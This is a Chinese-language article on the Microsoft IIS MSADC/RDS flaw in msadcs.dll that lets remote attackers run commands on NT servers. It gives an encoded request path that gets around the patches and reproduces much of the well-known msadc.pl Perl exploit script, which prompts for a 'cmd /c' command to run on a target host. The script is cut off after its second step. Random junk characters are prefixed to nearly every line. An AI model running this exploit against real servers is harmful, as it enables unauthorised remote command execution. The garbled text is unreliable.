IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
E" iH$NN VAf~,T]Ww 涉及程序:
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8 Microsoft NT server
Ak%M,``(L <by}/lF0 描述:
"iE9X.6NMu 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
-bSe=09;S| 06 gE;iT 详细:
5,>1rd<B 如果你没有时间读详细内容的话,就删除:
GP ;c$pC c:\Program Files\Common Files\System\Msadc\msadcs.dll
\sFdp!M}2 有关的安全问题就没有了。
W5*%n]s~ +=%13cA*U 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
^z3-$98=A Ltpd:c 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
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关于利用ODBC远程漏洞的描述,请参看:
"Iu[)O% $DC*&hqpt http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm B M{GSX "/hM& 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
x Yr-,$/ http://www.microsoft.com/security/bulletins/MS99-025faq.asp {e[S?1t=l l(9$s4R 这里不再论述。
_#9:cH* jJl6H~
"q 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
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p KC o<% /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
Y-&r_s_~ 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
,s0 E]]( Fa^5.p i](,s. #将下面这段保存为txt文件,然后: "perl -x 文件名"
cs`/^2Vf"# Y."ujo #bB #!perl
%a+X\\v2 #
R3F>"(P@tS # MSADC/RDS 'usage' (aka exploit) script
!c:Q+:,H #
w.J[3m/ # by rain.forest.puppy
(utm+*V, #
hu\HK81m # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
bJe*J\){ # beta test and find errors!
<5/r tA$,4B? use Socket; use Getopt::Std;
I.tJ4 getopts("e:vd:h:XR", \%args);
BQ[1,\> K|];fd U print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
{
yU1db^ "5e~19 if (!defined $args{h} && !defined $args{R}) {
>]Hz-2b print qq~
@~fg[)7M Usage: msadc.pl -h <host> { -d <delay> -X -v }
*=dFTd"# -h <host> = host you want to scan (ip or domain)
/ee:GjUkB -d <seconds> = delay between calls, default 1 second
"^gZh3 -X = dump Index Server path table, if available
!zL1XW)q -v = verbose
^4]#Ri=U -e = external dictionary file for step 5
*x[B g]/ #/@U|g Or a -R will resume a command session
([UuO}m- AL! ^1hCF ~; exit;}
;OmmXygl Jl&bWp^3 $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
nul? 5{z@ if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
tC\x9&: if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
zB\g'F/ if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
8-cG[/|0 $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
wKum{X8 if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
0t5>'GYX [y}/QPR if (!defined $args{R}){ $ret = &has_msadc;
^G=wRtS die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
&/=>:ay+# BHn`e~ print "Please type the NT commandline you want to run (cmd /c assumed):\n"
>5wA B . "cmd /c ";
QL}5vSl $in=<STDIN>; chomp $in;
R B.j@* $command="cmd /c " . $in ;
u#%Ig3
>joGGT if (defined $args{R}) {&load; exit;}
O;f^'N p+;Re2Uyg print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
L@S"c
( &try_btcustmr;
%cO;{og M m(nlu print "\nStep 2: Trying to make our own DSN...";
N<hbV0$ % &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
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